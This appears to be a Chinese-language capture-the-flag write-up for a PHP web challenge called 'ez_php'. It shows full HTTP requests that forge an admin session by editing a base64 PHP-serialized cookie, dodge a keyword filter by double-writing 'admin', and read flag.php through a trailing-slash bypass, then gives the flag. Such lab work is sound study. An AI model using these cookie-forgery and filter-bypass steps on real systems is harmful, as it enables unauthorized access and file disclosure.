Web

ez_php

题目给了一个地址,可以进行访问
首先我们进入题目地址发现是一个登陆页面:
初始情况

我用burp进行抓包:
抓包截图
可以在GET传参发现cookie:

1
TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6Imd1ZXN0Ijt9

通过Base64解码可以得到:
解码

关于现在的cookie是guest权限,可以试试反序列化进行伪造,使得我们拥有admin权限,于是将guest改成admin再进行传参(这时会发现字节数有误,即admin应该是被系统检测删去了),这时可以尝试在一连字串里面夹杂admin,发现双写和isAdmin都可以进行替换
于是尝试双写绕过:

1
2
3
4
5
6
7
8
9
10
Cookie: identification=TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6ImFkYWRtaW5taW4iO30=
得到:
HTTP/1.1 302 Found
Server: nginx/1.22.1
Date: Sat, 13 Dec 2025 04:55:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.33
Location: dashboard.php
Content-Length: 0

发现:Location: dashboard.php,即我们获取了admin权限
接着我们访问下dashboard.php:

1
2
3
4
5
6
7
8
9
GET /dashboard.php HTTP/1.1
Host: 192.168.18.22:25005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.18.22:25005/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: identification=TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6ImFkYWRtaW5taW4iO30=
Connection: close

访问后

看上去我们有文件需要读取,于是用disearch扫描一下看看
扫描发现

发现有flag.php,试试能不能直接读,dashboard.php?filename=flag.php
发现不行,试了下斜杠绕过dashboard.php?filename=flag.php/
完整:

1
2
3
4
5
6
7
8
9
GET /dashboard.php?filename=flag.php/ HTTP/1.1
Host: 192.168.18.22:25005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.18.22:25005/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: identification=TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6ImFkYWRtaW5taW4iO30=
Connection: close

得到flag:
flag界面

在源码的noticeboard那里找到并复制提交
flag界面

flag=’flag{8fee436d-176e-4b69-80ce-3b2ed0eee331}’